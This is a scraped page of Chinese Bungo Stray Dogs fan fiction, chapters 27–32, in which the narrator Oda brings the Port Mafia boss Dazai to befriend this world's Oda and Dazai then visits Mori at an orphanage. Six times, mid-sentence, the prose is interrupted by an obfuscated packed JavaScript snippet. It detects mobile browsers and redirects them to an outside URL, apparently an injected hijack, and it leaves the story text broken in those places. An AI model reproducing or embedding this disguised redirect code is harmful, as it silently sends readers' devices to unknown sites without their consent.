那么,首领宰也有一丝无法抵抗无赖派并肩作战的心情吧? 绷带青年不置可否的避开了这个问题,而是依靠着椅背,手翻动着小笔记本,停在了某一页上在意的抱怨: “欸——说起来一直我都想问了,织田作认识好多太宰啊。” 我面颊一紧。 那一页上画着许多宰,包括文豪野犬汪与首领宰。这是开始翻旧账了吗? “我需要给你一页‘原稿’的书页来保持通讯。”我压抑住心中忐忑的努力说着, “太宰,你可以自己选。” ……快把注意力从这些宰上移开,看看无赖派和织田作超人吧! “……自己选书页啊。”首领宰若有所思的用指尖点着那些涂鸦,他眉间一展,理直气壮的说出了一个新办法: “——我要织田作画!” 好好好好。 我任劳任怨的取出笔,只要不再讨论刚才的话题就行。 我笔下只顿了一下,就有了想法,流畅的画出了一个场景: 是熟悉的lupin酒吧。 从左到右分别是坂口安吾,织田作本人,首领宰和我。 带着照相机的Q版安吾,拿出了纸笔已经写作了的织田作本作,左眼蒙着绷带戴着红围巾的首领宰,还有捧着小笔记本在画画的我。 这张涂鸦非常普通。 ——只是我对本世界未来的美好祝愿而已。 但也因此,它十分特殊。 因为它描写的不再是别的世界别的风景,而是‘我们自己’啊。 我定定看了好几秒,才把这一页撕下来,放在首领宰手上。 撕下来的地方没有裂口,平整的就像是单独一页似的,在脱落的一瞬间散发着微弱的光芒,落到首领宰手中时—— 他微微睁大了眼眸,怔住了。 这副模样……就像是刚才正在使用异能力堕落论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803131|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的安吾,一瞬接收到了什么讯息似的,让我和安吾都不由自主把目光转了过去。 戴着红围巾的太宰治神色骤然沉静了下来,然后,自嘲的笑了出来,忍俊不禁似的。 “呀……”他缓缓的吐了口气,语调仍然沉沉的透着倦怠,“怎么说呢?” “太宰先生?”安吾有些担忧。 “……稍微有些后怕。”他说着这样意味不明的话。 一手打造那样的场景然后死亡,是他的追求。 太宰治在进行了两年计划后,被迫修改了未来计划后,看到了原稿记忆的现在,他都没有后悔过。 只是,在诀别之前听到红发男人那么说,心中终究有几分复杂难辨的滋味。 不过,事情发生变化,现在多想什么都没用了。 戴着红围巾的太宰治收回书页,把脸转向了我,又一次的追问着: “织田作织田作——什么时候才能看到你的小说呀?” “……” 死亡催更追问到了脸上,现在轮到我僵硬了。 根本来不及多想首领宰从“原稿”中获取了哪些新记忆,我一门心思的为自己找着理由: “有人说过,写小说既是写人。我想……太宰,这本小说要在很久以后才能写完了。” “欸——很久以后是多久?太久了吧?” 我只顾着手忙脚乱的应对着首领宰的撒娇,没有回答这个我们都心知肚明的问题。 小说的完成时间当然是…… 在我们拯救了无数文野平行世界以后。在我们把这些世界都从原书剧情轨道中解放出来之后。在每个人都拥有了无限可能性之后。 我曾经说过的: 「这是一本讲‘书中人物威胁造物者’的故事。」 「这本新书中的角色,叫做朝雾kfk。」 「打破他铸造的命运洪流,斩断哀伤而迷人的情节,前往无人能得知的崭新未来。」 这本小说的剧情或许太过平淡,并不好看。 但……这就是来自无赖派的报复。 我们碰杯许诺过的。 27. 第二十七章 捡宰日B? 等安吾看起来勉强镇定下来了,我把视线转向他们两个: “准备好了吗?” 首领宰已经意识到了我们要去做什么,他微动了一下眼神,什么都没说,看起来又有些过度沉默。 “准备什么?我们要去哪里?”安吾的声音有些发干了,“织田作先生,我们——?!” 该不会要去拯救世界吧?! 眼镜青年的脸上惶恐的写满了这句话。 “准备去做一件比现在拯救世界还重要的事。”我轻描淡写的这么说着。 如果可以,我也想带着无赖派一起去别的世界获取‘书’。但是,我自己是外来的没有关系。 我不确定能否把其中一个世界的原有人物长时间的带到别的地方去。世界会不会因此出事,之类的。 在我初来乍到的时候,小心行事为妙,不要引起崩坏的变化。 ……等我以后弄清楚了,再分辨是否要邀请无赖派一起。 我们三人锁了门出发了。 来到了一间熟悉的公寓前。 在傍晚时分,唯有这个时间点我确定某人在家。 “喂喂,织田作先生,这里不就是……”安吾辨认了出来,当初这个地址还是他提供的。 太宰治在最后面一言不发,沉默的像是一片空气。 “啊。”我承认了一声,回头确认了一遍首领宰没有被吓得当场离开,才敲了敲门。 我用木讷的眼神对安吾使眼色。 虽然我不清楚安吾能不能辨认出来……但亲眼从记忆里见识过首领宰全部计划的他显然明白了我此刻的顾虑。 坂口安吾恍然大悟的后退一步,目光盯紧了绷带青年。 脚步声走来,门开了。 红头发的男人和我宛如照镜子一样出现在门框的两侧。只不过他穿着一件家常的黑色条纹衬衫。 织田作之助本人简单打量了我的身后,和我说出了谜语一样的平淡对话: “是今天吗?” “是今天。” “居然是两个,需要加钱。” “再加一倍。”我老练的补充了委托的筹码,用说黑话一样的口吻形容着咖喱饭,“等会儿就去结现。” 织田作之助满意了,他点了一下头,让到一旁请我们进去。 他显然不觉得两个一米八几的“孩子”有什么不对。 他有异议的地方只在于,我托付给他的“孩子”原本是一个,而不是现在的两个。 ……对于织田作本作不会吐槽的这一点,我由衷的佩服,又深深的痛苦为什么安吾不能在这一刻吐槽一下!恐怕我直到死去都没办法学成织田作那样了。 憋的好难受啊。 一头雾水的坂口安吾:“???” 我们都进了门,最后一个是首领宰。 我站在玄关里面,用目光给他鼓励。 首领宰看起来花了一些力气才下定决心,在织田作之助的目光注视下走进去。 迈过红发男人身侧的时候,织田作之助突然出声:“我是不是在哪里遇见过你?” 我猛然盯紧了这一幕。 首领宰条件反射的露出一个没有含义的笑容,慢慢的说:“也许?我不记得了。” 织田作之助陷入了一阵沉默。 我也紧张得在大衣下不动声色的攥紧了手掌。 坂口安吾想到了太宰治的计划第一阶段,屏住了呼吸。 而首领宰,若无其事的像是在等待审判。 “……我见过你。” 最终,织田作之助观察完后,这么说着,他的目光发生了变化。 “你在车站曾经给我提供了不错的建议。”织田作之助沉默了几秒后这么说着,“是个古怪的好人。” 太宰治一僵,时隔一两年听到这句话,他的表情还像是停止了呼吸那样的扭曲了一瞬。 他似乎想说一句什么,嘴唇只是嗡动了一下,最后什么声音都没发出来。 ——首领宰看起来不知道该做什么回应。 而我已经猜到了织田作的反应,我默默把头转了过去,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803132|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张的看向红发男人。 “那一次也不是我们第一次见。” 织田作之助垂着眼帘继续回忆着,说出的话是陈述的口吻。 他抬起了视线,确认的看向穿着黑色大衣与绑着绷带的这个年轻男人,目光发生了变化: “你曾经倒在我的门前——为了打探我保管的一样东西,对吗?港口黑手党的成员。” 坂口安吾:“……!!” 首领宰的脸上更苍白了。 我其实并不意外。 如果仔细揣摩《捡宰日B》的内容,就会发现织田作在车站的时候对这个陌生的好心人有过一瞬的怀疑与猜测。 车站里的首领宰是怎么打扮的? 他摘去了所有绷带,用鸭舌帽遮挡了头发与眼睛,在黑暗里遮掩身形,唯一有辨识度的只有那把嗓音。 那么被织田作之助敌对的港口黑手党成员又是怎么打扮的?那天倒在他家门口的男人,脸上蒙满了绷带,从头到尾一言不发,只看得到一双眼睛与发色,穿着黑色的外套…… 今天上门时,织田作之助该因为“绷带”,“黑色外套”,“发色瞳色”和“一样的身形”先联想到倒在他家门口的那个男人的。 然而织田作之助却没有立刻发作,而是先问了一句。 一定是因为那天给他留下了极深的印象。为了弄明白那份无端的怀疑,所以刚才的织田作在…… 试探太宰的声音。 ——然后便对上号了。 我知道,这样的发展也都在首领宰的预料范围内。他既然没有拒绝今天和我一起前来这里,也没有改变自己的装扮,就是抱着身份会被戳穿的觉悟前来的。 只是不知道,首领宰此刻是什么心情。 什么样的结局都无所谓吗? 当然不是。 但他的确什么都没做,失去了抵抗的力气,就这么被我拖来了。 …… 太宰治与织田作之助直直对视着。 现场的氛围骤然紧张,仿佛一触即发。 28. 第二十八章 四人无赖派 现场氛围一触即发。 安吾在得知了我们的摊牌记忆之后,根本没办法直视太宰治和织田作之助的对峙现场。 他看起来失落又欲言又止,揪心的看着双方:“……” 我也紧盯着织田作之助的反应,不放过一丝细微变化。 在《捡宰日B》中,当初的首领宰为了保证织田作之助的安全,以及让他厌恶港口黑手党,不惜亲身下场。又以好心人的身份忍不住出现搭话,说出武装侦探社的情报。 那是在beast世界中已经发生过的往事了。 那么,当这两个形象被今天的织田作之助意识到是同一个人,又是我拜托他照顾的人。 红发男人会是什么反应? 只要不是第一时间拒绝就好……但如果是织田作,他应该可以看出来疑点。 织田作之助第一个看向的人果然是我:“你全都知道。” 还是陈述句。 我欣慰的点头,没从织田作的语气中听到冰冷或者敌对一类的意思。 显然,他已经意识到了问题。 我补充:“太宰是首领。” 这句话只是加重了织田作之助的猜测。 不管他原本的猜测和疑问是什么,港口黑手党的首领还不至于为了那样一幅画处心积虑的重伤混进他家。 所以,原本猜测的目的行不通了。 这背后的隐情是什么? 织田作之助继续注视着那个一言不发的黑衣男子。 他想起来了更多。 初见的时候,脸上蒙着绷带的重伤之人神色是有过变化的,就像是在被一股无形的力量驱使着,要对他喊出一个呼之欲出的名字。 那种目光,不是在看陌生人。 但最终那个男人一个字都没说,就像现在这样。 所以当时的织田作之助才留下了一个几年都没解开的疑问:‘你认识我吗?’ 但即便是现在暴露出面容的陌生青年,织田作之助想过了自己过去所有的回忆,也不记得有在哪里结识。 那就只剩下一个可能了。 织田作之助的声音清晰的响了起来,他是对着太宰治说的:“你和我——是友人吗?那幅画有什么问题。” 世界上不存在唯一的“我”。 能让一个初见的人对另一个人投以熟悉的目光,又没有理由开口诉说。能让这个人在事情结束后,又处心积虑的改头换面给出仿佛弥补般的提议。 只有一个原因,他的确不认识这个男人。 但是男人一直认识“织田作之助”。 他夺走‘画’,一定是有理由的。 …… 首领宰一直没有开口,直到听到了这个问题,他低垂的睫毛颤了颤,注视着地板,嗓音没有动摇,平稳而沙哑的响了起来: “有一个叫做48的犯罪组织,成员全部由警察的相关人员组成,他们的目标是价值十亿的‘画’。” “……为了画,他们会在将来导致你的死亡。” 这中间省略了很多。 但不可否认的,这就是第一个原因。 织田作之助的脸上出现了动容:“所以你当初把自己伪装成了幕后黑手,抢走了画。” 假如根本没有理由成为朋友,一个陌生人想要夺走他保护的‘画’,到底该用什么说辞才能让人相信自己? 当一个幕·后·黑·手更加容易。 织田作之助完全明白了。 退一步想,到了现在,他身上已经没有值得港口黑手党的首领和另一个世界的自己共同欺骗图谋的价值了。 “抱歉。”红发男人突然说。 没有经历过那样的死亡,织田作之助不认为异世界的友人想要保护自己只有夺走画一种办法。 但他不能忽视自己当初说过的话:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803133|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>‘——无法原谅夺走它的家伙。’ “不必在意。”首领宰不在乎的微笑着,好像在反过来替红发男人辩护,“那是你当初该有的反应。” 我为这个称呼欲言又止了一瞬间:“……” “我是这个世界的织田作之助,正在物色新的工作,梦想是——成为一名小说家。” 红发男人看了我一眼,彻底放下了所有思索,他语调平稳的对面前戴着红围巾的青年伸出手,做自我介绍。 从刚才开始,青年都站在玄关一动不动,温馨的室内灯严苛的落在他面前的台阶地上与脚尖前,泾渭分明的只给他笼罩了一片阴影。 背后的门,还半开着。 “……太宰治。”首领宰断断续续的说着。或许他自己都没意识到,他的唇边带上了一抹浅笑。 到了这里,beast世界的这些故事已经发生了颠覆性的变化。我们四个人似乎可以坐在一起,放松且更深入的讨论那些细节内情了。 但—— 当红发男人把手伸过去的时候。 “……”首领宰的笑容不变,目光寸寸下移,注视着那只手,像是看到了洪水猛兽。 “……” 我默默看向了坂口安吾。 坂口安吾也默默看了过来——我没看错,他的眼镜之后闪过了一道坚决的报复光芒。 啊。 是的。 报复来了。 我和坂口安吾沉默无声的从两旁包围了过去,带着黑恶势力一样的气势,首领宰的目光落点改变了,眼眸微微睁大,有些惊慌的看着我们。 我和安吾一人捉住了他瘦削的一边肩膀,不容置疑的把他往前推了过去。 胆小鬼。 “等等……等等?!” ——给我们过去吧,我说了要摁头的! 我坚决的和安吾酣畅淋漓的报复笑容一起,狠狠一推。 29. 第二十九章 下一个是中也 啊,力道太大了。 不知道是我还是安吾干的,总之,首领宰踉跄着被台阶绊了一下,已经不是被我们推过去回握住织田作之助的手掌了,而是被我们推过去,整个人一头对着织田作之助撞了过去。 「首领宰攻击」! 我默默垂下了呆毛。 安吾像个老实本分的小职员那样无措的盯着自己的脚尖,好像什么都不知道。 “唔。” 红发男人忍痛的闷哼了一声,这种程度还没有到天衣无缝发动的状态。他的手掌牢牢抓住了差点摔倒的人,询问自然的像是空气一样, “太宰,没事吧?” 首领宰像是被捏住了脖领,从一堆灰烬中拎出来的、皮毛被烧焦的黑猫那样僵住了。 “还,还好。”他干巴巴的说着,努力挣扎出来保持距离,若无其事的抄着双手走到了客厅里,只留下一道背影。 但,红发男人的注意力没有继续落在他身上,也没有继续试图和他搭话。而是松开了太宰后,艰难的一路挤过来—— 挤过首领宰。 然后是我和安吾。 最后红发男人安心的终于关上了那扇门。 “咦?”坂口安吾讶然的明白了一切。 织田作先生刚才对太宰先生伸出手,只是因为后者挤在玄关,导致他没有办法去关门而已。 什么啊。 首领宰幽幽的回头望着这边,突然“嗤”的漏出了半声闷笑,又在我和安吾的目光下无辜的憋了回去。 氛围荡然无存。 他恢复了自然的神色,看向红发男人,鸢色的眼眸微微柔和了下来,反而是坦荡的语调微扬:“——织田作,我可以这么称呼你吗?” 一模一样的问题。 这是什么对织发言。 我看向安吾,他虽然没有吐槽出来,但脸上写满了这句话。 我心满意足了。 …… 二十分钟坐在西餐厅里等待辣咖喱后。 我有悄悄用手肘捅了捅织田作之助,认真求解:“怎么相信的?” 其实对他来说,不管是异世界的我,为敌过的太宰,还是自称异能特务科小职员的安吾,都是初见不多的陌生人,不值得这么快相信,以及互相佐证吧。 红发男人望了一眼旁边,并不介意绷带青年和眼镜青年的偷听,他沉默了两秒后说: “是港口黑手党的老大,就没有办法了。” 这种程度的暴力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803134|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机关领袖想和你交朋友,处心积虑的做了不少事,外面还有一个危险的家伙在无声埋伏着。 除了屈服,还能做什么? 神色微妙的首领宰:“……” 诚心诚意的我:“……太宰,把中也先生请进来也一起吃饭吧。” 不要再欺负他了,挺可怜的。 坂口安吾心有戚戚的点起了头:“……!” 太宰治远远与我对视着,似乎明白了我的想法,他的脸色变得有些一言难尽,不情愿的抱怨了一声: “呜哇,织田作,这么快容易吃不消啊!” “等我离开了,你还会做吗?”我反问。 if线的首领宰是个胆小鬼。 他的视线游移起来,被说中了,恹恹的不愿意看我们两个红头发的。 我没有再说话,耐心的等着首领宰做选择。 其实从改变计划开始,他就必须做这些了,只是首领宰退缩着,一直没有动作。 “织田作你是什么老妈系角色吗?!” 首领宰终于对我难以置信的吐露出了这样的恶劣言语,他带着怨念的托住腮帮撇开头,半晌,有气无力: “……中也,备车。吃完饭我们要去一个地方。” 30. 第三十章 捡宰日C ——在西餐厅里,最专心致志吃辣咖喱的人是织田作之助。 坂口安吾的视线停留在我们两个红头发身上,心事重重的一会儿望着我的大衣口袋,织田作之助的脸。一会儿望着太宰治,眉头紧了又松。 两眼放空。 他大概已经在为怎么做异能特务科的报告而苦恼斟酌字句了。 首领宰的神色也不怎么情愿,他被我的无理要求困扰了半天,骂完我以后,估计不得不在思考等会要怎么处理。 而我也在发呆。 织田作之助那种地狱辣的吃法……我跟不了,跟不了了。 被辣的有些头脑发懵。 反而想到了一些刚才没来及注意到的细节。 说起来…… 首领宰在面对织田作之助时的反应时是不是不大对劲? ——太过手足无措和沉默退缩了。 beast小说版是被我反复阅读了许多遍的文字,当他见到红发男人本人的时候,应该是迫不及待倾诉的状态。 即便这一次已经认识了我,织田作之助还是首领宰执行计划过的那个织田作。 如果说首领宰是为了自己的身份即将曝光而怯步,现在也不是他的计划完成之时…… 还是不对劲。 我很确信—— 在认识我之后,首领宰虽然看似冷淡,实际上却犹如捡宰日B里的状态,就像走在钢丝上,身形左右摇晃随时可能掉入某一个方向,只缺少一点点非常微弱的拉扯力道。 他的理智为他构建了长眠的计划。但他的情感却矛盾的渴望着与记忆中的友人相处一点点时光。 他沉寂的游走在两者之间的钢丝上,等待着自己的终局。 我正是察觉到了这一点,才有了我的新计划。 所以,这样一个首领宰,怎么会一直在织田作之助面前沉默?尤其是当我们的误会说开以后。 “……” 我毫无预兆的放下勺子出声问, “——太宰,你在接过书页后看到了多少?” 太宰治接触‘书’会获得其他平行世界的太宰治记忆。 但“原稿”是高维世界中的最原初的那本“书”。平时它褪去了任何功效,在我决定要用它与首领宰进行联络后,它才会发挥‘书页’的作用。 所以那一瞬间…… 首领宰,会看到自己的未来吗? 看到文豪野犬beast世界的未来发展。看到那把枪口对准了他的枪,看到那句「不要叫我织田作」…… 「我可不想让我的敌人这么称呼自己」。 这句话的杀伤力太大了。 这是首领宰一手导向的结局,他和原剧情里的他,却没办法真正承受这个结果,会被深深刺痛。 ——这大概,才是他在织田作之助面前无措沉默的原因。 刚才带给他的冲击太大了。 首领宰:“…………” 太宰治看着杯柄上的反光,低声咕哝着:“所以织田作你才会那么做啊。” 从红发男人在海边举枪的那一刻,他就敏锐意识到了决裂的某个场景会有多惨烈,才给织田作带来这么大的心理阴影,很有决心的逼着他改变了计划。 但,猜到只是猜到,亲眼看到是亲眼看到。 获得了那份记忆后,没有时间去品味那份苦涩的刺痛,太宰的聪明脑袋就让他开始视线游移。 ——眼前有两个织田作。 一个是一无所知,本来将与他道别的织田作。 另一个是原本一无所知,后来却意识到一切,生气着想改变这些的织田作。 双倍的织田作本来是双倍的快乐,但如果双倍的织田作都知道真相的话—— …… 我看着首领宰那副哑口无言的样子,敏锐的从他毫无变化的鸢色眼眸中捕捉到了一抹幻觉似的畏惧。 那是‘太宰治’这个个体的灵魂中,正在害怕的某件事情。 “织田作先生。”我这么叫了一声红发男人,低声对他说了什么。 “等等,织田作——!”首领宰猝不及防,想要出声阻止我,但我没有停下。 坂口安吾被我们新的发展搞糊涂了,他看起来很想吐槽刚才这串称呼,但又从不同寻常的氛围中意识到了现在不是时候。 “……”红发男人的表情随着我的话语发生了变化。 他看向了首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803135|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领宰。 首领宰这一次看起来马上要夺路而逃了,毫不夸张的——但被预判的我面无表情的捉住肩膀,牢牢按在座位上。 “太宰,织田作先生有话想对你说——只有他有这个资格。” 我确信,我的嘴巴里吐露出来的只是普通的字句,首领宰的见鬼表情却像是从耳边听到了幽幽的恶魔低语似的。 ——一个知道了真相的if织田作,会对那样的决裂和结局有什么评价呢? 在自己完全不知情的状态下,与自己本该会有的好友陌路,且说出了敌人一样的发言。 正常人会感到气恼,或许还会质问。 但如果是这么简单,首领宰此刻就不会像是冻僵的猫仔,畏惧的被我拎住后脖颈了。 果然…… 红发男人的嘴巴张开了,双唇之间吐露出的只有真挚的歉意字句:“抱歉……太宰。” 织田作之助的蓝色眼眸直直注视着他,带着内疚与平稳的力量。他在为自己也不知道的罪过道着歉。 是的,只会出现这种情况。 织田作之助是个好人。 他当然清楚这不是他的问题,但他是织田作之助,但他为了友人……他只会说出这样的话。 这是if线中,织田作之助本人发自本心的判断。 我牢牢按住了首领宰的肩膀与后脖颈的交接处,看着这一幕,脸上平静,心里已经杀疯了。 来啊,有什么心结都给你们解开。 我们无赖派,不存在误会,给我变成捡宰日C!if线的if线! “我听到了另一个我给出的计划。”织田作之助还在这么说着,他只听完了我说的总结,具体的一切过后我才有时间好好和他解释。 但这些不妨碍他此刻的说话。织田作之助这个男人就像本能的知道该怎么辨别一个太宰治的情绪,与他相处。 所以他的口吻一如既往的平静没什么波动,那是织田作风格的请求。 “——太宰,我们可以一起吗?”他同样认真的问着。 双倍的织田作。 双倍的请求了。 “……”首领宰睁大的眼眸中,细小的瞳孔在微微震颤着。 31. 第三十一章 孤儿院 众所周知,被欺负过头的人,要么反击,要么倒毙。 首领宰就是那个不同寻常的人。 他在沉默中冒起了蒸汽。 “——太宰先生?!”这是破音的安吾。 我叹为观止:“……” 这就是二次元吗?真的什么都能看得见呢。 只有不会吐槽也没有多想的治愈系男子织田作之助还在诚恳望着他等着答复。 “太宰,你冒烟了。”他指出来。 “我还有些事……”首领宰从被暴击到死机的状态回神,慢慢的说着,扶着桌子站起来。 然后,他没有任何别的反应,起身落荒而逃了。 黑色大衣迈开长腿在前面飞,翩然掀起的红围巾在后面追。首领宰狼狈逃得速度非常的快,口中的命令还不忘保持冰冷,吐露的时机快准狠,就是内容有点不符合语气: “呜哇——中也!快开车!” 坂口安吾愕然的伸手没拦住人:“等等!太宰先生去干什么?” 简直像是火烧了屁股一样逃了,但是他能去干什么啊?! 说好的拯救世界计划大作战呢? 坂口安吾都打算仔仔细细听织田作先生讲解,然后殚精竭虑的帮忙分析两句了,四个人之一怎么逃了? “他有要做的事情吧。”我心里有了猜测。 虽然是我期望的,但这件事是港口黑手党的内部事项,首领宰自己去解决才好。 正好我趁机能把详情告诉织田作之助一遍。 “太宰这是默认的意思吗?”红发男人还在不确定他没有得到明确答复的这回事,困扰的向我确认着。 “嗯——我说了,他很难搞的。”我心情愉快的注视着门外那道黑色身影。 过时不候。 以后想看到这么被动的首领宰就困难了,我要珍惜画面。 ……他已经初步被我和织田作套牢了。 就像当初对峙犹豫的那一刻,我想说却没有说出口的: 「太宰。」 「如果你真的这么为难,大可以继续敌对我。用尽你的聪明才智来对付我,来对抗我逐渐加码的计划。」 「——但你做不到,就像我也做不到。因为我们已经是友人了。」 “要学会怎么和友人相处啊。”我默默地说着,端起冰水,不知道在对谁举杯,我一饮而尽。 首领宰最大的死穴就是「友情」。他啊,也是一个拥有了最多记忆,却最不会与友人相处的家伙了。 我开始拉着安吾和织田作之助嘀嘀咕咕,三个人密谋起了拯救世界计划和首领宰…… …… 另一边。 不敢马虎的中原中也在听到命令后,就踩足了油门,黑色的轿车疾驰出去。 戴着帽子的干部绷着脸戒备的问:“我们去哪里?” 后排上的太宰治已经气场沉稳了下来,吐露出一个地址。 那是不属于港口黑手党势力范围的一处街道。 中原中也在心里换算了一下,戴着黑手套的手搭在方向盘上,单手转换了方向,然后才来及问:“boss,刚才出什么事了吗?” 一如既往的,没有得到回答。 中原中也无声的“啧”了一句。 非要说有什么危险的,就是那个红发男人站到首领身后的那一刻。 不管是脆弱的脖颈,后脑,都在一击必杀的范围内。若是骤然发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803136|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难,哪怕是门外的中原中也都救不了,所以他刚才紧张极了。 结果——除了看到青花鱼露出那种百亿难换的惊慌空白表情夺门而出,别的什么都没有。 啧。 这段时间中原中也简直不堪其扰,没眼看了。 不就是交了几个朋友吗?!! 港口黑手党的首领交朋友也得不同凡响,但折腾得全是他们这群下属啊!! 尽管心里这么深恶厌绝的吐槽着,中原中也还是不得不承认,现在的首领看起来比以前好多了。 ……只是不知道这变化到底是好是坏。 所以直到今天,中原中也看向那几个人时神色仍然是警惕戒备的。 车辆停下了。 中原中也习惯性的下车绕行替首领开门,警觉的扫视四周排除危险。 首领提供的这个地址——是一处装潢破旧的宗教式孤儿院? “去敲门,中也。” 太宰治的嘴唇几乎不动,神情冰冷的吐露出这样的字眼,就像一想到接下来要发生的事,他就厌恶到说不出多余的话了一样。 中原中也照做的时候,还不知道会发生什么。 但吱呀难听的声音随着铁门打开时,出现在后面的一道身影却让中原中也的表情惊愕的凝固在了脸上。 那是一个年纪正青春的美貌少女,有着一头金色卷发与碧色眼眸,身姿飒爽的穿着一件白大褂过来开门了:“是谁?” 中原中也几乎失声:“你不是前首领的——?!” “呀。” 太宰治轻飘飘的声线这会儿才落在了地上,似乎在和空气打着招呼,他慢慢的念出了那个名字, “爱丽丝。” 32. 第三十二章 惩罚任务 眼前的这个少女,瞬间把中原中也的记忆拉回了两三年前。 那是—— 前首领森先生还在位的时间。 那是他和太宰治还是搭档的时间。 那也是港口黑手党发生一连串多米诺骨牌连锁摔倒般的巨变扩张之前。 哪怕眼前的这个少女看起来十四五岁大,面容比起稚童更像是一个稍微长开了的、容貌姣好的少女…… 中原中也是不会记错的。 这张脸,就是经常跟在前首领身边的那个孩子! 从太宰治上位之后,这个孩子就随着前首领消失无踪了,中原中也还以为她也…… 中也隐晦的打量了旁边一眼。 他没想到太宰治竟然意外的心软。 ——黑色大衣的身影自顾自的走进了门,没有管中原中也。就像在刻意打断他的思考,不想再听下去了似的。 中原中也中断思绪,连忙跟上。 但下一刻。 少女自从看到他们后,就慌乱的丢下手中原本抱着的盆,转身向屋子里跑去,呼喊着:“——林太郎!” 中原中也一僵。 他睁大眼睛,难以置信的等待着接下来的画面。 “来客人了吗?”一道熟悉的男声低沉的响起,伴随着脚步声从屋子里走了出来。 声响终止在房间里的男人看到了太宰治,两人远远对视着不动了为止。 那是一个同样穿着白大褂,看起来有些不修边幅的中年男人,有着深沉的紫红色眼眸。 “boss?!”中原中也震惊的脱口而出。 即便刚才有了预兆,但真正看到那道身影还好端端站着的时候,中原中也心里还是受到了撼动。 所以,又是太宰治在骗他?! 中原中也气恼的拳头硬了,看过去。 森鸥外先是对中原中也友善颔首了一下,才看向旁边那个戴着红围巾的青年: “……太宰君。” 这是时隔几年不见后的第一次会面。 “好久不见,有什么事情需要我去做的?” 他感叹的说,语气心平气和的,全然没有中原中也预想中的新旧首领之间的仇恨。 “啊。”太宰治垂着眼帘,随口找了个理由,“我这里有几个孩子,想送他们过来,由森先生你教导。” “哦?知道了,我会告诉院长。”森鸥外有些意外,却也没有多问的应下了,反而是欣慰的开启了另一个话题, “太宰君,你近来看起来过得不错。” 这个孩子,比当初分开时的心理状态好上太多了。 他本以为太宰君不会回答他这个问题,还是一如既往的跳过所有对话,自顾自的说完就沉浸在自己的世界里离开—— 但太宰治却目光柔和着就这么承认了: “啊。” 他语气淡淡的说着,仿佛是在对谁炫耀:“我交到了几个朋友。” 森鸥外意外的听着:“……哦?那还真是不错。” 他由衷的为这个少年感到欣慰。 中原中也一如既往像堵背景墙,不言不语的站在太宰治身后听着,他不着痕的悄悄打量着对面的中年男人。 前首领看起来没了以前的气势,落魄平和了很多,就像一个普通的医生。 但是褪去了那一层让人畏惧的黑暗与威严之后,站在留在男人身上的,竟然是一份淡淡的慈爱感,那是身为年长者的包容。 几年前的那一天,到底是怎么回事? 中原中也的心里升起了这样的疑窦。 